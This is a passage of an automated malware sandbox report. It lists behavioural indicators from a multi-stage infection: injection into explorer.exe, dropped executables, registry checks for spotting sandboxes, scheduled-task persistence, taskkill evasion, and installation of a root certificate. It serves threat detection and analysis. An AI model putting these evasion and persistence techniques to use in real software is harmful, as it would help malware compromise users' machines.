PID 5264 set thread context of 4392	5264	jw1BtrPSHkN5Ycj5GrGZrWNp.exe	jw1BtrPSHkN5Ycj5GrGZrWNp.exe
PID 2440 set thread context of 6812	2440	zYHzp_ecSfHCBQQQXejKOBf6.exe	zYHzp_ecSfHCBQQQXejKOBf6.exe
PID 5664 set thread context of 2604	5664	wlanext.exe	Explorer.EXE
PID 5940 set thread context of 1988	5940	conhost.exe	explorer.exe
PID 5664 set thread context of 1988	5664	wlanext.exe	explorer.exe

Drops file in Program Files directory 22 IoCs

Processes:

1ElQX1vnC6hzc6ozl4KylRRW.exejg1_1faf.exed3AMh7RrYP1XgER3nYdWgVrD.exewlanext.exeExplorer.EXEAdobeARM.exeSun03f5d51697d04.tmpd3AMh7RrYP1XgER3nYdWgVrD.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe	1ElQX1vnC6hzc6ozl4KylRRW.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	1ElQX1vnC6hzc6ozl4KylRRW.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	1ElQX1vnC6hzc6ozl4KylRRW.exe
File created	C:\Program Files (x86)\Company\NewProduct\d	jg1_1faf.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d	jg1_1faf.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	d3AMh7RrYP1XgER3nYdWgVrD.exe
File opened for modification	C:\Program Files (x86)\Hsnulor\updateppq.exe	wlanext.exe
File opened for modification	C:\Program Files (x86)\Hsnulor	Explorer.EXE
File created	C:\Program Files (x86)\Hsnulor\updateppq.exe	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\Backup	AdobeARM.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d.INTEG.RAW	jg1_1faf.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	d3AMh7RrYP1XgER3nYdWgVrD.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	Sun03f5d51697d04.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	Sun03f5d51697d04.tmp
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	d3AMh7RrYP1XgER3nYdWgVrD.exe
File created	C:\Program Files (x86)\Company\NewProduct\d.jfm	jg1_1faf.exe
File created	C:\Program Files (x86)\FarLabUninstaller\is-2ATCP.tmp	Sun03f5d51697d04.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	1ElQX1vnC6hzc6ozl4KylRRW.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	d3AMh7RrYP1XgER3nYdWgVrD.exe
File created	C:\Program Files (x86)\Company\NewProduct\tmp.edb	jg1_1faf.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d.jfm	jg1_1faf.exe
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\Temp	AdobeARM.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 14 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
3548	420	WerFault.exe	setup_install.exe
1492	1984	WerFault.exe	Sun033e271e0ce96c08.exe
3820	1984	WerFault.exe	Sun033e271e0ce96c08.exe
1388	1984	WerFault.exe	Sun033e271e0ce96c08.exe
3012	1984	WerFault.exe	Sun033e271e0ce96c08.exe
5328	1984	WerFault.exe	Sun033e271e0ce96c08.exe
5472	2332	WerFault.exe	setup.exe
5504	68	WerFault.exe	6.exe
5936	2332	WerFault.exe	setup.exe
5244	1984	WerFault.exe	Sun033e271e0ce96c08.exe
5292	2332	WerFault.exe	setup.exe
5484	2332	WerFault.exe	setup.exe
5840	1984	WerFault.exe	Sun033e271e0ce96c08.exe
612	2332	WerFault.exe	setup.exe

Checks SCSI registry key(s) 3 TTPs 21 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

extd.exefrbwjdafrbwjdaSun0324aba28588c0.exefrbwjdafrbwjdafrbwjda

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	extd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun0324aba28588c0.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun0324aba28588c0.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	extd.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	extd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun0324aba28588c0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

svchost.exexcLVIwmxi_ZLJsepaVLcueHv.exexcLVIwmxi_ZLJsepaVLcueHv.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	xcLVIwmxi_ZLJsepaVLcueHv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	xcLVIwmxi_ZLJsepaVLcueHv.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	xcLVIwmxi_ZLJsepaVLcueHv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	xcLVIwmxi_ZLJsepaVLcueHv.exe

Creates scheduled task(s) 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

4980 schtasks.exe
5768 schtasks.exe
7004 schtasks.exe
352 schtasks.exe
6280 schtasks.exe
1552 schtasks.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

6700 timeout.exe
6380 timeout.exe
Kills process with taskkill 8 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

2312 taskkill.exe
5220 taskkill.exe
5352 taskkill.exe
1692 taskkill.exe
3048 taskkill.exe
7032 taskkill.exe
6744 taskkill.exe
5548 taskkill.exe

pid	process
4980	schtasks.exe
5768	schtasks.exe
7004	schtasks.exe
352	schtasks.exe
6280	schtasks.exe
1552	schtasks.exe

pid	process
6700	timeout.exe
6380	timeout.exe

pid	process
2312	taskkill.exe
5220	taskkill.exe
5352	taskkill.exe
1692	taskkill.exe
3048	taskkill.exe
7032	taskkill.exe
6744	taskkill.exe
5548	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

Processes:

mshta.exewlanext.exeOneDriveSetup.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU	mshta.exe
Key created	\Registry\User\S-1-5-21-941723256-3451054534-3089625102-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	wlanext.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OneDrive.exe = "11000"	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Enable = "1"	mshta.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Size = "10"	mshta.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\InitHits = "100"	mshta.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Factor = "20"	mshta.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Cache = a403000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	OneDriveSetup.exe

Modifies data under HKEY_USERS 16 IoCs

Processes:

svchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	svchost.exe

Modifies registry class 64 IoCs

Processes:

OneDriveSetup.exeFileSyncConfig.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{AB807329-7324-431B-8B36-DBD581F56E0B}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{e9de26a1-51b2-47b4-b1bf-c87059cc02a7}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{021E4F06-9DCC-49AD-88CF-ECC2DA314C8A}\LocalServer32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{47E6DCAF-41F8-441C-BD0E-A50D5FE6C4D1}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\CLSID\{7B37E4E2-C62F-4914-9620-8FB5062718CC}\PROGID	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{da82e55e-fa2f-45b3-aec3-e7294106ef52}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{b5c25645-7426-433f-8a5f-42b7ff27a7b2}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{944903E8-B03F-43A0-8341-872200D2DA9C}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{9489FEB2-1925-4D01-B788-6D912C70F7F2}\VersionIndependentProgID	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{9AA2F32D-362A-42D9-9328-24A483E2CCC3}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{50487D09-FFA9-45E1-8DF5-D457F646CD83}\ProxyStubClsid32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}\ProxyStubClsid32\ = "{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\InProcServer32\ = "%systemroot%\\SysWow64\\shell32.dll"	FileSyncConfig.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{a7126d4c-f492-4eb9-8a2a-f673dbdd3334}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\FileSyncClient.FileSyncClient\CLSID\ = "{7B37E4E2-C62F-4914-9620-8FB5062718CC}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{390AF5A7-1390-4255-9BC9-935BFCFA5D57}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{C5FF006E-2AE9-408C-B85B-2DFDD5449D9C}\InprocServer32\ThreadingModel = "Apartment"	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\VERSIONINDEPENDENTPROGID	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{8D3F8F15-1DE1-4662-BF93-762EABE988B2}\TypeLib\ = "{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{8B9F14F4-9559-4A3F-B7D0-312E992B6D98}\ = "IGetSelectiveSyncInformationCallback"	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\SYNCENGINEFILEINFOPROVIDER.SYNCENGINEFILEINFOPROVIDER.1\CLSID	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\TypeLib\{4B1C80DA-FA45-468F-B42B-46496BDBE0C5}\1.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe\\3"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.196.0921.0007\\FileCoAuth.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{A3CA1CF4-5F3E-4AC0-91B9-0D3716E1EAC3}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe\" /cci /client=Personal"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{22A68885-0FD9-42F6-9DED-4FB174DC7344}\TypeLib	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{049FED7E-C3EA-4B66-9D92-10E8085D60FB}\TypeLib	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\CLSID\{9AA2F32D-362A-42D9-9328-24A483E2CCC3}\INPROCSERVER32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\NucleusToastActivator.NucleusToastActivator\CurVer\ = "NucleusToastActivator.NucleusToastActivator.1"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\InProcServer32	FileSyncConfig.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\INTERFACE\{79A2A54C-3916-41FD-9FAB-F26ED0BBA755}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\*\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{679EC955-75AA-4FB2-A7ED-8C0152ECF409}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\ProgID\ = "FileSyncOutOfProcServices.FileSyncOutOfProcServices.1"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\TypeLib\{F904F88C-E60D-4327-9FA2-865AD075B400}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{AF60000F-661D-472A-9588-F062F6DB7A0E}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{2F12C599-7AA5-407A-B898-09E6E4ED2D1E}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Directory\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\INTERFACE\{2692D1F2-2C7C-4AE0-8E73-8F37736C912D}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\INTERFACE\{DA82E55E-FA2F-45B3-AEC3-E7294106EF52}\PROXYSTUBCLSID32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{20894375-46AE-46E2-BAFD-CB38975CDCE6}\InprocServer32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{869BDA08-7ACF-42B8-91AE-4D8D597C0B33}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\ = "FileSyncOutOfProcServices Class"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{ACDB5DB0-C9D5-461C-BAAA-5DCE0B980E40}\ = "ILaunchUXInterface"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\odopen	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{5D5DD08F-A10E-4FEF-BCA7-E73E666FC66C}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{0d4e4444-cb20-4c2b-b8b2-94e5656ecae8}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{7B37E4E2-C62F-4914-9620-8FB5062718CC}\TypeLib\ = "{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\grvopen\ = "URL: OneDrive Client Protocol"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\ShellFolder	FileSyncConfig.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\INTERFACE\{AEEBAD4E-3E0A-415B-9B94-19C499CD7B6A}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\VERSIONINDEPENDENTPROGID	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{79A2A54C-3916-41FD-9FAB-F26ED0BBA755}\TypeLib	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{466F31F7-9892-477E-B189-FA5C59DE3603}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}\ = "IFileSyncOutOfProcServices"	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\DEFAULTICON	FileSyncConfig.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{0299ECA9-80B6-43C8-A79A-FB1C5F19E7D8}\TypeLib	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{5999E1EE-711E-48D2-9884-851A709F543D}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\INTERFACE\{10C9242E-D604-49B5-99E4-BF87945EF86C}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\TYPELIB	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{a7126d4c-f492-4eb9-8a2a-f673dbdd3334}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{F0AF7C30-EAE4-4644-961D-54E6E28708D6}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{5d65dd0d-81bf-4ff4-aeea-6effb445cb3f}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{a7126d4c-f492-4eb9-8a2a-f673dbdd3334}\TypeLib	OneDriveSetup.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

Calculator.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 0f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec53726187760b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b06010505070301620000000100000020000000c3846bf24b9e93ca64274c0ec67c1ecc5e024ffcacd2d74019350e81fe546ae4140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e31d000000010000001000000099949d2179811f6b30a8c99c4f6b42260300000001000000140000002796bae63f1801e277261ba0d77770028f20eee420000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101f